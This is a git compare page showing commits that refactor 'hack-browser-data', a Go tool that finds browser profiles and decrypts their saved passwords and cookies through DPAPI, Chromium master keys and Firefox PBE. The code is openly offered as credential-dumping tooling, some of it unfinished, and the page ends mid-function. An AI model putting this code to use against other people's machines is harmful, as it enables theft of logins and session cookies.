Compare commits

..

5 Commits

Author SHA1 Message Date
moonD4rk 24c90f5b92
refactor: Refactor project as library layout 1 year ago
moonD4rk 0d6642ead9
fix: fix syntax errors and remove unused variables 1 year ago
moonD4rk 48d38ef39c
feat: add firefox browser to support multiple profiles and export passwords 1 year ago
moonD4rk d87ef03ae0
chore: linter violations in test files for multiple linters 1 year ago
moonD4rk aa2e1af5b5
feat/library: Add support for use as library for macos chrome 1 year ago
  1. 2
      .gitignore
  2. 10
      .golangci.yml
  3. 17
      CONTRIBUTORS.svg
  4. BIN
      LOGO.png
  5. 87
      LOGO.svg
  6. 2
      README.md
  7. 2
      README_ZH.md
  8. 10
      browingdata/password/password.go
  9. 58
      browser.go
  10. 6
      browser/browser.go
  11. 29
      browser/firefox/firefox.go
  12. 50
      browser_darwin.go
  13. 1
      browser_linux.go
  14. 1
      browser_windows.go
  15. 13
      browserdata/bookmark.go
  16. 51
      browserdata/browserdata.go
  17. 131
      browserdata/cookie.go
  18. 306
      browserdata/password.go
  19. 204
      chromium.go
  20. 46
      chromium_darwin.go
  21. 1
      chromium_linux.go
  22. 1
      chromium_windows.go
  23. 1
      cmd/hack-browser-data/main.go
  24. 33
      crypto/crypto.go
  25. 144
      datatype.go
  26. 15
      errors.go
  27. 23
      examples/export.go
  28. 202
      firefox.go
  29. 17
      firefox_test.go
  30. 36
      options.go

2
.gitignore vendored

@ -194,3 +194,5 @@ hack-browser-data
!/browingdata/history
!/browingdata/history/history.go
!/browingdata/history/history_test.go
/docs

@ -60,9 +60,15 @@ issues:
- G502
- G505
exclude-rules:
- path: browser/browser\.go
- path: _test\.go
linters:
- 'unused'
- gocyclo
- errcheck
- dupl
- gosec
- unparam
- staticcheck
- paralleltest
max-issues-per-linter: 0
max-same-issues: 0

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 2.7 MiB

After

Width:  |  Height:  |  Size: 2.7 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

@ -0,0 +1,87 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="1410.000000pt" height="352.000000pt" viewBox="0 0 1410.000000 352.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,352.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M3586 2447 c-15 -15 -32 -56 -46 -111 -13 -49 -29 -94 -36 -101 -7
-7 -35 -15 -63 -19 -119 -16 -146 -50 -56 -72 200 -51 881 -40 986 16 l23 13
-21 17 c-12 9 -55 22 -97 29 l-75 12 -15 52 c-8 29 -19 71 -25 93 -14 52 -46
94 -73 94 -11 0 -67 -14 -124 -31 l-104 -31 -104 31 c-124 37 -140 38 -170 8z"/>
<path d="M3510 1999 c0 -34 28 -116 55 -159 35 -55 86 -100 145 -129 47 -22
69 -26 145 -26 77 0 98 4 147 27 106 49 187 159 196 262 l4 51 -346 0 -346 0
0 -26z"/>
<path d="M5080 1600 l0 -230 55 0 55 0 0 90 0 90 85 0 85 0 0 -90 0 -90 55 0
55 0 0 230 0 230 -55 0 -55 0 0 -90 0 -90 -85 0 -85 0 0 90 0 90 -55 0 -55 0
0 -230z"/>
<path d="M6320 1600 l0 -230 55 0 54 0 3 57 c2 31 8 58 14 60 7 2 34 -23 60
-56 l49 -60 63 0 63 -1 -73 88 c-41 48 -78 93 -82 101 -6 9 13 34 60 82 l68
69 -64 0 c-63 0 -65 -1 -112 -47 l-48 -47 0 107 0 107 -55 0 -55 0 0 -230z"/>
<path d="M6730 1600 l0 -230 123 0 c148 0 199 17 223 75 25 61 -6 154 -58 170
-20 7 -20 8 6 31 31 30 35 81 9 125 -26 44 -77 59 -198 59 l-105 0 0 -230z
m203 121 c5 -5 7 -19 5 -32 -3 -21 -9 -24 -50 -27 l-48 -3 0 42 0 42 43 -7
c23 -4 46 -11 50 -15z m25 -167 c52 -36 10 -94 -68 -94 l-50 0 0 55 0 55 48 0
c27 0 57 -7 70 -16z"/>
<path d="M9480 1600 l0 -230 113 0 c120 0 175 16 225 63 94 87 87 267 -14 343
-54 42 -100 53 -216 54 l-108 0 0 -230z m225 116 c64 -27 90 -100 61 -169 -22
-52 -50 -70 -116 -75 l-60 -4 0 131 0 131 40 0 c22 0 56 -6 75 -14z"/>
<path d="M10400 1750 c0 -36 -2 -40 -25 -40 -23 0 -25 -4 -25 -45 0 -41 2 -45
24 -45 24 0 24 -2 28 -105 3 -92 6 -107 25 -127 18 -18 33 -22 78 -21 30 1 59
4 65 8 5 3 10 24 10 45 0 38 -1 39 -37 42 l-38 3 -3 77 -3 77 38 3 c37 3 38 4
41 46 l3 42 -40 0 -41 0 0 40 0 40 -50 0 -50 0 0 -40z"/>
<path d="M3392 1676 c-128 -66 -160 -90 -193 -143 -29 -47 -119 -321 -119
-363 1 -50 32 -113 72 -143 38 -30 198 -72 198 -53 0 6 -11 76 -25 156 -14 80
-25 160 -25 178 0 42 21 83 60 116 l32 26 459 0 c501 0 496 1 537 -57 10 -16
22 -39 25 -52 5 -19 -26 -245 -49 -352 l-5 -27 73 17 c140 33 198 87 198 183
0 43 -80 300 -113 364 -26 51 -91 101 -207 159 l-111 56 -47 -42 c-172 -151
-426 -151 -591 1 -24 22 -44 40 -45 40 0 -1 -56 -29 -124 -64z"/>
<path d="M5624 1695 c-63 -31 -94 -82 -94 -151 1 -128 105 -212 211 -171 21 8
39 11 39 6 0 -5 25 -9 55 -9 l55 0 0 170 0 170 -55 0 c-30 0 -55 -4 -55 -9 0
-6 -16 -3 -35 5 -47 19 -63 18 -121 -11z m137 -94 c30 -24 33 -89 5 -120 -27
-30 -80 -28 -113 5 -21 21 -24 32 -20 61 4 20 14 44 23 54 22 25 75 24 105 0z"/>
<path d="M6066 1705 c-89 -32 -134 -115 -114 -211 23 -105 151 -161 253 -111
24 11 65 48 65 57 0 4 -18 15 -40 25 -31 14 -43 16 -52 7 -7 -7 -28 -12 -48
-12 -70 0 -104 76 -59 134 22 28 60 34 102 15 19 -9 32 -7 63 9 l38 20 -30 30
c-28 28 -87 52 -124 52 -8 -1 -32 -7 -54 -15z"/>
<path d="M7323 1709 c-17 -5 -41 -21 -52 -35 l-21 -27 0 32 c0 31 0 31 -55 31
l-55 0 0 -170 0 -170 54 0 54 0 4 90 c3 81 5 92 30 116 15 15 43 30 65 33 38
6 38 6 41 59 3 57 0 60 -65 41z"/>
<path d="M7558 1706 c-58 -21 -86 -43 -108 -86 -65 -128 43 -277 185 -256 82
13 144 73 152 150 11 90 -42 173 -125 196 -47 13 -58 12 -104 -4z m109 -112
c21 -21 24 -32 20 -61 -8 -46 -33 -73 -69 -73 -64 0 -98 46 -78 106 20 59 82
73 127 28z"/>
<path d="M8543 1709 c-68 -20 -95 -102 -50 -155 13 -14 48 -36 78 -48 30 -13
54 -29 54 -37 0 -21 -53 -24 -75 -4 -16 14 -24 15 -54 5 -20 -6 -36 -16 -36
-22 0 -22 68 -77 104 -84 44 -8 102 7 140 37 21 16 26 29 26 64 0 56 -26 85
-103 115 -32 12 -56 28 -54 34 5 17 46 19 53 3 4 -11 13 -12 49 -4 25 6 45 14
45 18 0 20 -55 70 -88 79 -43 11 -46 11 -89 -1z"/>
<path d="M8895 1704 c-74 -27 -115 -83 -115 -159 0 -59 19 -104 59 -138 63
-53 158 -60 230 -16 l34 21 -30 30 c-26 25 -34 28 -51 19 -29 -15 -68 -14
-102 4 -53 27 -34 35 85 35 l115 0 0 48 c0 66 -33 121 -90 150 -51 25 -79 27
-135 6z m90 -88 c55 -23 43 -36 -32 -36 l-68 1 28 24 c33 29 29 29 72 11z"/>
<path d="M9363 1709 c-17 -5 -43 -23 -57 -40 l-26 -31 0 36 0 36 -50 0 -50 0
0 -170 0 -170 50 0 50 0 0 67 c0 109 38 168 115 175 29 3 30 5 30 53 0 55 -7
60 -62 44z"/>
<path d="M10055 1708 c-78 -28 -115 -82 -115 -167 0 -125 106 -209 211 -168
21 8 39 11 39 6 0 -5 25 -9 55 -9 l55 0 0 170 0 170 -55 0 c-30 0 -55 -4 -55
-9 0 -6 -16 -3 -35 5 -40 16 -58 17 -100 2z m115 -106 c27 -22 30 -81 6 -117
-13 -19 -25 -25 -53 -25 -73 0 -108 75 -62 134 25 31 75 35 109 8z"/>
<path d="M10737 1706 c-75 -27 -117 -88 -117 -168 0 -119 113 -206 213 -164
20 8 37 11 37 5 0 -5 25 -9 55 -9 l55 0 0 170 0 170 -55 0 c-34 0 -55 -4 -55
-11 0 -8 -4 -8 -12 -1 -23 18 -82 22 -121 8z m123 -113 c40 -51 7 -133 -52
-133 -64 0 -98 46 -78 106 13 40 33 53 77 54 23 0 38 -8 53 -27z"/>
<path d="M7876 1583 c26 -71 53 -147 61 -170 l15 -43 51 0 52 0 36 103 c33 91
38 99 46 77 5 -14 22 -60 37 -102 l28 -78 52 0 51 0 58 163 c31 89 57 166 57
170 0 4 -23 7 -52 5 l-51 -3 -31 -92 c-17 -50 -34 -94 -37 -97 -3 -3 -21 38
-40 92 l-34 97 -49 0 -49 0 -37 -105 -38 -105 -33 107 -34 108 -52 0 -52 0 45
-127z"/>
<path d="M3406 1344 c-9 -8 -16 -20 -16 -25 0 -6 20 -131 45 -279 25 -148 45
-271 45 -274 0 -2 7 -12 16 -20 13 -14 60 -16 358 -16 260 0 346 3 359 13 26
18 115 556 99 592 l-12 25 -439 0 c-386 0 -441 -2 -455 -16z m488 -255 c33
-26 33 -53 1 -85 -29 -29 -58 -26 -88 8 -20 24 -15 55 15 81 26 22 40 22 72
-4z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 5.4 KiB

@ -1,5 +1,5 @@
<div align="center">
<img src="LOGO.png" alt="hack-browser-data logo" />
<img src="LOGO.svg" alt="hack-browser-data logo" />
</div>

@ -1,5 +1,5 @@
<div align="center">
<img src="LOGO.png" alt="hack-browser-data logo" />
<img src="LOGO.svg" alt="hack-browser-data logo" />
</div>

@ -169,7 +169,7 @@ const (
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
)
func (f *FirefoxPassword) Parse(masterKey []byte) error {
func (f *FirefoxPassword) Parse(_ []byte) error {
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.TempFirefoxKey4)
if err != nil {
return err
@ -179,7 +179,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
return err
}
k, err := metaPBE.Decrypt(globalSalt, masterKey)
k, err := metaPBE.Decrypt(globalSalt)
if err != nil {
return err
}
@ -190,7 +190,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
finallyKey, err := nssPBE.Decrypt(globalSalt, masterKey)
finallyKey, err := nssPBE.Decrypt(globalSalt)
if err != nil {
return err
}
@ -210,11 +210,11 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
user, err := userPBE.Decrypt(finallyKey, masterKey)
user, err := userPBE.Decrypt(finallyKey)
if err != nil {
return err
}
pwd, err := pwdPBE.Decrypt(finallyKey, masterKey)
pwd, err := pwdPBE.Decrypt(finallyKey)
if err != nil {
return err
}

@ -0,0 +1,58 @@
package hackbrowserdata
import (
"github.com/moond4rk/hackbrowserdata/browserdata"
)
type Browser interface {
Passwords() ([]browserdata.Password, error)
Cookies() ([]browserdata.Cookie, error)
ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error)
}
func NewBrowser(b browser, options ...BrowserOption) (Browser, error) {
opt, ok := defaultBrowserOptions[b]
if !ok {
return nil, ErrBrowserNotSupport
}
for _, options := range options {
options(opt)
}
if opt.NewBrowserFunc == nil {
return nil, ErrBrowserNotSupport
}
return opt.NewBrowserFunc(opt)
}
type browser string
const (
Chrome browser = "chrome"
Firefox browser = "firefox"
Yandex browser = "yandex"
Edge browser = "edge"
Chromium browser = "chromium"
)
type browserType int
const (
browserTypeChromium browserType = iota + 1
browserTypeFirefox
browserTypeYandex
)
func (b browser) Type() browserType {
switch b {
case Firefox:
return browserTypeFirefox
case Yandex:
return browserTypeYandex
default:
return browserTypeChromium
}
}

@ -87,13 +87,11 @@ func pickFirefox(name, profile string) []Browser {
} else {
profile = fileutil.ParentDir(profile)
}
if !fileutil.IsDirExists(filepath.Clean(profile)) {
log.Noticef("find browser firefox %s failed, profile folder does not exist", v.name)
continue
}
if multiFirefox, err := firefox.New(profile, v.items); err == nil {
if multiFirefox, err := firefox.New(v.name, v.storage, profile, v.items); err == nil {
for _, b := range multiFirefox {
log.Noticef("find browser firefox %s success", b.Name())
browsers = append(browsers, b)
@ -102,10 +100,8 @@ func pickFirefox(name, profile string) []Browser {
log.Error(err)
}
}
return browsers
}
return nil
}

@ -23,11 +23,18 @@ type Firefox struct {
var ErrProfilePathNotFound = errors.New("profile path not found")
// New returns new Firefox instances.
func New(profilePath string, items []item.Item) ([]*Firefox, error) {
multiItemPaths := make(map[string]map[item.Item]string)
// ignore walk dir error since it can be produced by a single entry
_ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths))
// New returns a new Firefox instance.
func New(name, storage, profilePath string, items []item.Item) ([]*Firefox, error) {
f := &Firefox{
name: name,
storage: storage,
profilePath: profilePath,
items: items,
}
multiItemPaths, err := f.getMultiItemPath(f.profilePath, f.items)
if err != nil {
return nil, err
}
firefoxList := make([]*Firefox, 0, len(multiItemPaths))
for name, itemPaths := range multiItemPaths {
@ -37,10 +44,15 @@ func New(profilePath string, items []item.Item) ([]*Firefox, error) {
itemPaths: itemPaths,
})
}
return firefoxList, nil
}
func (f *Firefox) getMultiItemPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
multiItemPaths := make(map[string]map[item.Item]string)
err := filepath.Walk(profilePath, firefoxWalkFunc(items, multiItemPaths))
return multiItemPaths, err
}
func (f *Firefox) copyItemToLocal() error {
for i, path := range f.itemPaths {
filename := i.String()
@ -51,8 +63,8 @@ func (f *Firefox) copyItemToLocal() error {
return nil
}
func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) fs.WalkDirFunc {
return func(path string, info fs.DirEntry, err error) error {
func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
return func(path string, info fs.FileInfo, err error) error {
for _, v := range items {
if info.Name() == v.FileName() {
parentBaseDir := fileutil.ParentBaseDir(path)
@ -63,7 +75,6 @@ func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]
}
}
}
return err
}
}

@ -0,0 +1,50 @@
package hackbrowserdata
import (
"os"
)
const (
chromeStorageName = "Chrome"
chromeBetaStorageName = "Chrome"
chromiumStorageName = "Chromium"
edgeStorageName = "Microsoft Edge"
braveStorageName = "Brave"
operaStorageName = "Opera"
vivaldiStorageName = "Vivaldi"
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
arcStorageName = "Arc"
)
var homeDir, _ = os.UserHomeDir()
var (
chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/Default/"
chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/"
chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/Default/"
edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/Default/"
braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/"
operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/"
operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/"
vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/Default/"
coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/Default/"
yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/"
arcProfilePath = homeDir + "/Library/Application Support/Arc/User Data/Default"
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
var defaultBrowserOptions = map[browser]*Options{
Chrome: {
Name: Chrome,
Storage: chromeStorageName,
ProfilePath: chromeProfilePath,
NewBrowserFunc: NewChromium,
},
Firefox: {
Name: Firefox,
ProfilePath: firefoxProfilePath,
NewBrowserFunc: NewFirefox,
},
}

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1,13 @@
package browserdata
import (
"time"
)
type Bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}

@ -0,0 +1,51 @@
package browserdata
import (
"database/sql"
"os"
"path/filepath"
_ "github.com/mattn/go-sqlite3"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type Extractor interface {
Extract() (interface{}, error)
}
type RowsHandler func([]byte, interface{}) (interface{}, error)
type ExtractorHandler func([]byte, string, string, RowsHandler) (interface{}, error)
func DefaultDBHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) {
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath))
if err := fileutil.CopyFile(dbpath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
db, err := sql.Open("sqlite3", tempFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(dbQuery)
if err != nil {
return nil, err
}
defer rows.Close()
return rowsHandler(masterKey, rows)
}
func DefaultJSONHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) {
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath))
if err := fileutil.CopyFile(dbpath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
s, err := os.ReadFile(tempFile)
if err != nil {
return nil, err
}
return rowsHandler(masterKey, s)
}

@ -0,0 +1,131 @@
package browserdata
import (
"database/sql"
"os"
"path/filepath"
"sort"
"time"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type CookieExtractor struct {
Data []Cookie
masterKey []byte
datafile string
}
func NewCookieExtractor(masterKey []byte, datafile string) *CookieExtractor {
return &CookieExtractor{masterKey: masterKey, datafile: datafile}
}
type Cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
func ExportCookie(masterKey []byte, passwordPath string) ([]Cookie, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
cookies, err := exportCookies(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return cookies, err
}
func exportCookies(masterKey []byte, profile, dbFile string) ([]Cookie, error) {
data, err := exportData(masterKey, profile, dbFile, handlerCookie)
if err != nil {
return nil, err
}
cookies := make([]Cookie, 0, len(data))
for _, v := range data {
cookies = append(cookies, v.(Cookie))
}
sort.Slice(cookies, func(i, j int) bool {
return (cookies)[i].CreateDate.After((cookies)[j].CreateDate)
})
return cookies, nil
}
type rowHandlerFunc func(masterKey []byte, rows *sql.Rows) (interface{}, error)
func handlerCookie(masterKey []byte, rows *sql.Rows) (interface{}, error) {
var (
err error
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
log.Warn(err)
}
cookie := Cookie{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
HasExpire: typeutil.IntToBool(hasExpire),
IsPersistent: typeutil.IntToBool(isPersistent),
CreateDate: typeutil.TimeEpoch(createDate),
ExpireDate: typeutil.TimeEpoch(expireDate),
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DPAPI(encryptValue)
} else {
value, err = crypto.DecryptPass(masterKey, encryptValue)
}
if err != nil {
log.Error(err)
}
}
cookie.Value = string(value)
return cookie, nil
}
func exportData(masterKey []byte, passFile string, query string, rowHandler rowHandlerFunc) ([]interface{}, error) {
db, err := sql.Open("sqlite3", passFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var data []interface{}
for rows.Next() {
item, err := rowHandler(masterKey, rows)
if err != nil {
log.Warn(err)
continue
}
data = append(data, item)
}
return data, nil
}

@ -0,0 +1,306 @@
package browserdata
import (
"database/sql"
"encoding/base64"
"os"
"path/filepath"
"time"
// import go-sqlite3 driver
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type PasswordExtractor struct {
masterKey []byte
datafiles []string
extractorHandler ExtractorHandler
rowsHandler RowsHandler
}
type Password struct {
Profile string
Username string
Password string
encryptPass []byte
encryptUser []byte
LoginURL string
CreateDate time.Time
}
func NewPassExtractor(masterKey []byte, datafiles []string, fileHandler ExtractorHandler, rowsHandler RowsHandler) *PasswordExtractor {
return &PasswordExtractor{
masterKey: masterKey,
datafiles: datafiles,
extractorHandler: fileHandler,
rowsHandler: rowsHandler,
}
}
func (d *PasswordExtractor) Extract() (interface{}, error) {
var passwords []Password
var err error
for _, datafile := range d.datafiles {
data, err := d.extractorHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler)
if err != nil {
log.Error(err)
continue
}
passwords = append(passwords, data.([]Password)...)
}
return passwords, err
}
func ChromiumPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) {
sqlRows := rows.(*sql.Rows)
var passwords []Password
for sqlRows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
err error
)
if err := sqlRows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
continue
}
pass := Password{
// Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
func FirefoxPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) {
var passwords []Password
jsonBytes := rows.([]byte)
jsonRows := gjson.GetBytes(jsonBytes, "logins").Array()
if len(jsonRows) == 0 {
return nil, nil
}
for _, v := range jsonRows {
var (
p Password
encryptUser []byte
encryptPass []byte
err error
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
return passwords, nil
}
func (d *PasswordExtractor) ExtractChromium() (interface{}, error) {
var passwords []Password
var err error
for _, datafile := range d.datafiles {
data, err := DefaultDBHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler)
if err != nil {
log.Error(err)
continue
}
passwords = append(passwords, data.([]Password)...)
}
return passwords, err
}
func (d *PasswordExtractor) ExtractFirefox() (interface{}, error) {
return nil, nil
}
func Export(masterKey []byte, passwordPath string) ([]Password, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
passwords, err := exportPasswords(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return passwords, err
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func exportPasswords(masterKey []byte, profile, passFile string) ([]Password, error) {
db, err := sql.Open("sqlite3", passFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return nil, err
}
var passwords []Password
for rows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
)
if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
}
pass := Password{
Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)
func ExportPasswords(masterKey []byte, passwordPath string) ([]Password, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
passwords, err := exportFirefoxPasswords(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return passwords, err
}
func exportFirefoxPasswords(masterKey []byte, profile, passFile string) ([]Password, error) {
s, err := os.ReadFile(passFile)
if err != nil {
return nil, err
}
defer os.Remove(passFile)
loginsJSON := gjson.GetBytes(s, "logins")
var passwords []Password
if !loginsJSON.Exists() {
return nil, err
}
for _, v := range loginsJSON.Array() {
var (
p Password
encryptUser []byte
encryptPass []byte
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.Profile = profile
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
return passwords, nil
}

@ -0,0 +1,204 @@
package hackbrowserdata
import (
"errors"
"fmt"
"io/fs"
"path/filepath"
"strings"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type chromium struct {
name browser
storage string
profilePath string
enableAllUsers bool
profilePaths []string
masterKey []byte
// defaultDataTypes
supportedDataTypes []DataType
extractors map[DataType]browserdata.Extractor
extractedData map[DataType]interface{}
}
func NewChromium(options *Options) (Browser, error) {
if options.ProfilePath == "" {
return nil, errors.New("profile path is required")
}
if options.Name == "" {
return nil, errors.New("browser name is required")
}
c := &chromium{
name: options.Name,
profilePath: options.ProfilePath,
enableAllUsers: true,
supportedDataTypes: defaultDataTypes,
extractors: make(map[DataType]browserdata.Extractor),
extractedData: make(map[DataType]interface{}),
}
if !options.IsEnableAllUser {
c.enableAllUsers = false
}
if len(options.DataTypes) > 0 {
c.supportedDataTypes = options.DataTypes
}
if err := c.init(); err != nil {
return nil, err
}
return c, nil
}
func (c *chromium) init() error {
if err := c.initProfiles(); err != nil {
return fmt.Errorf("profile path '%s' does not exist %w", c.profilePath, ErrBrowserNotExists)
}
if err := c.initExtractors(); err != nil {
return err
}
return c.initMasterKey()
}
func (c *chromium) ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) {
for _, dataType := range dataTypes {
if extractor, ok := c.extractors[dataType]; ok {
data, err := extractor.Extract()
if err != nil {
fmt.Printf("extract %s data failed: %v", dataType, err)
continue
}
c.extractedData[dataType] = data
}
}
return c.extractedData, nil
}
// func (c *chromium) Passwords() ([]password.Password, error) {
// // browserData, err := c.ExtractBrowserData([]DataType{TypePassword})
// // if err != nil {
// // return nil, err
// // }
// dataType := TypePassword
// if data, ok := c.extractedData[dataType]; ok {
// return data.([]password.Password), nil
// }
// extractor, ok := c.extractors[dataType]
// if !ok {
// return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
// }
// data, err := extractor.ExtractChromium()
// if err != nil {
// return nil, err
// }
// return data.([]password.Password), nil
// }
func (c *chromium) filterExistDataPaths(dataTypes []DataType) (map[DataType][]string, error) {
// exporters := make(map[DataType]BrowserData)
dataPaths := make(map[DataType][]string)
var errs []error
for _, profile := range c.profilePaths {
for _, dataType := range dataTypes {
dataTypeFile := filepath.Join(profile, dataType.Filename(c.name))
if !fileutil.IsFileExists(dataTypeFile) {
errs = append(errs, ErrBrowsingDataNotExists)
}
